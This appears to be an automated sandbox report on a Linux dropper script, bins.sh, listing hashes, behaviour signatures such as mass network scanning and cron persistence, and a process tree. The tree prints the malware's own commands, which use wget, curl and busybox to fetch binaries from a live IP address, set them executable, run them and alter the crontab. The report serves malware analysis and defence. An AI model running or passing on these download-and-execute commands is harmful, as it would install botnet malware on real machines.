Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17/11/2024, 06:51

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241117-hmgh5athlr
  • SHA256 b4e6d605b77bda653b7e37fe1c81c5a4a99744ff141c82e0b1be5ef9c0703501
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1907) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://216.126.231.240/bins/zEgP3LwukczAHEaDTfK7NL96XLTS1KexAU
          2⤵
          • Writes file to tmp directory
          PID:652
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/zEgP3LwukczAHEaDTfK7NL96XLTS1KexAU
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:665
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/zEgP3LwukczAHEaDTfK7NL96XLTS1KexAU
          2⤵
          • Writes file to tmp directory
          PID:674
        • /bin/chmod
          chmod 777 zEgP3LwukczAHEaDTfK7NL96XLTS1KexAU
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /tmp/zEgP3LwukczAHEaDTfK7NL96XLTS1KexAU
          ./zEgP3LwukczAHEaDTfK7NL96XLTS1KexAU
          2⤵
          • Executes dropped EXE
          PID:677
        • /bin/rm
          rm zEgP3LwukczAHEaDTfK7NL96XLTS1KexAU
          2⤵
            PID:679
          • /usr/bin/wget
            wget http://216.126.231.240/bins/UfX2y64AQpSmxQ50JTI1WFUxtTxCTR8TdV
            2⤵
            • Writes file to tmp directory
            PID:681
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/UfX2y64AQpSmxQ50JTI1WFUxtTxCTR8TdV
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:682
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/UfX2y64AQpSmxQ50JTI1WFUxtTxCTR8TdV
            2⤵
            • Writes file to tmp directory
            PID:683
          • /bin/chmod
            chmod 777 UfX2y64AQpSmxQ50JTI1WFUxtTxCTR8TdV
            2⤵
            • File and Directory Permissions Modification
            PID:684
          • /tmp/UfX2y64AQpSmxQ50JTI1WFUxtTxCTR8TdV
            ./UfX2y64AQpSmxQ50JTI1WFUxtTxCTR8TdV
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:686
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:689
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:690
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:691
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:693
                • /bin/rm
                  rm UfX2y64AQpSmxQ50JTI1WFUxtTxCTR8TdV
                  2⤵
                    PID:696
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/garF8vYvGPr0TU0U2S7cSCFeYwQpFXAF5z
                    2⤵
                      PID:699

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        UfX2y64AQpSmxQ50JTI1WFUxtTxCTR8TdV

                        • Path /tmp/UfX2y64AQpSmxQ50JTI1WFUxtTxCTR8TdV
                        • Size 127KB
                        • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                        • MD5 SHA1 SHA512 SSDEEP

                        zEgP3LwukczAHEaDTfK7NL96XLTS1KexAU

                        • Path /tmp/zEgP3LwukczAHEaDTfK7NL96XLTS1KexAU
                        • Size 112KB
                        • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                        • MD5 SHA1 SHA512 SSDEEP

                        tmp.UorenL

                        • Path /var/spool/cron/crontabs/tmp.UorenL
                        • Size 210B
                        • SHA256 ffe40de0fedc6c8f4d74acb120c288ed143f663b3928d82fdaefe6a78b38bb93
                        • MD5 SHA1 SHA512